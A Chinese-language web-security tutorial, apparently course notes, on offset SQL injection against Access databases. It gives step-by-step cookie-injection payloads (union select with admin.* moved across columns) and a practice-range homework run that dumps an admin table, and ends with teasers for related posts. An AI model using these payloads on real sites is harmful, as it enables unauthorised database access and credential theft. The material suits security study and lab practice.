一、偏移注入使用場景
早sql注入得時候會遇到一些無法查詢列名得問題,比如系統自帶資料庫的
許可權不夠而無法訪問系統自帶庫。
或者遇到access資料庫
當你猜到表名無法猜到欄位名的情況下,我們可以使用偏移注入來查詢那張表裡面的資料。
向sqlmap之類的工具實際上是爆破欄位名的名字,但是如果欄位名稱比較奇葩,例如:h5scker_passwd 之類的那就無可奈何了。
總結: ~許可權不夠
~遇到access資料庫,且列名奇葩難爆破時
.* =>正則[匹配所有]
.* =>*=>在資料庫中*也代表一切
select table_name from information_schema(庫).tables(表) where table_schema=database() // 查詢(當前庫)系統自帶庫裡面的表名
information_schema(庫).tables(表)=>information_schema(庫)庫裡面的這個表
庫.表 => 選中這個庫裡面這個表
庫.表.欄位
admin.*=>admin 表裡面所有的字段
select admin.username from admin=>select username from admin
mysql聯合查詢不用from表名
示例 select*from admin union select 1,2,3 (from user)//括號中的內容可不寫
access需要from表名
示例 select*from admin union select 1,2,3 (from user)//括號中的內容必須寫
二、偏移注入步驟
偏移注入:不存在注入:尋找其他頁面
尋找其他引數
存在注入:聯合查詢:
猜字段數 order by 1
猜顯錯點 : union select 1,2,3,4,5,
注:access需要先猜表名,因為查詢語句必須寫表名
猜表名 :mysql:查詢自帶庫自帶表
accees:強行猜解and exists(select*from表名)
猜不到欄位名:開始偏移:例子:union select 1,admin.*,10 from admin
注:注入點的表的字段越多越好滿足乙個條件 注入點的表字段要大於你查詢的字段
然後開始不斷的移動表.*來輸出各種資料
一、偏移注入步驟(access為例)
1.判斷注入點:
當在url中輸入and 1=1和and1=2時,出現錯誤提示,說明get傳參被處理了,我們就需要看看cookie傳參是否沒有被處理。
使用js**在控制台判斷。
document.cookie="id="+escape("xx and 1=1")
document.cookie="id="+escape("xx and 1=2")
2.order by 判斷字段數:
document.cookie="id="+escape("xx order by 1")
3.判斷表名:
document.cookie="id="+escpe("xx and(exists(select * from admin))")
4.聯合查詢(判斷輸出點):
字段數相同
注入點的表的字段一定要大於查詢的表
top x取幾條資料,一點要降序,才能達到limit的效果
docuemnt.cookie="id="+escape("xx union select 1,2,3…… from admin")
5.獲取表中列數(知道存在幾列以及輸出點):
docuemnt.cookie="id="+escape("xx union select 1,2,3…… admin.* from admin")
6.開始偏移注入:
docuemnt.cookie="id="+escape("xx union select 1,2,admin.*,3 from admin")
解釋:admin為想要查詢資料的表名
3為輸出點。
靶場作業:
判斷字段數
105 order by 26 頁面正常
document.cookie="id="+escape("105 order by 27") 頁面錯誤 說明存在26個字段
猜解表名
document.cookie="id="+escape("105 and exists(select *from admin)")
頁面正常 說明存在admin表
找回顯點
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin")
出現 3 5 7 25四個回顯點 25也是回顯點只不過被隱藏了
找字段數
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,*from admin") 顯示錯誤
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,*from admin")顯示錯誤
多次嘗試發現有admin表有16個字段
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,*from admin")
爆內容經過調整admin.*的位置可以爆出admin 表的所有內容
document.cookie="id="+escape("105 union select admin.*,1,2,3,4,5,6,7,8,9,10 from admin")
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,admin.*,10 from admin")
web安全入門(第五章 3 dns注入
一 dnslog的函式解析 1,基本 dns 協議 網域名稱 ip轉換 日誌 基本上所有程式都會記錄日誌 dns 他實際上也是有日誌的 補充 問 dnslog注入是不是在linx系統可不可以用smb服務?全稱是server message block 用於在計算機間共享檔案 印表機 串列埠等,電腦上...
網路安全零基礎入門(第五章 4)盲注
注入攻擊本質 使用者輸入的資料當做 去執行 條件 使用者可以控制輸入 原本程式要執行的 拼接了使用者的內容,然後執行了 定義 盲注對應的是顯錯注入。但是很多時候,web伺服器關閉了錯誤回顯,這時候我們就無法實行sql注入了嗎?明顯不是這樣的。盲注在伺服器沒有回顯的時候完成了注入攻擊,由於沒有錯誤回顯...
演算法競賽經典入門 第五章階乘的精確值
include include const int maxn 3000 int f maxn int main for j maxn 1 j 0 j if f j break for i j i 0 i printf d f i printf n return 0 原來計算階乘是這樣的 includ...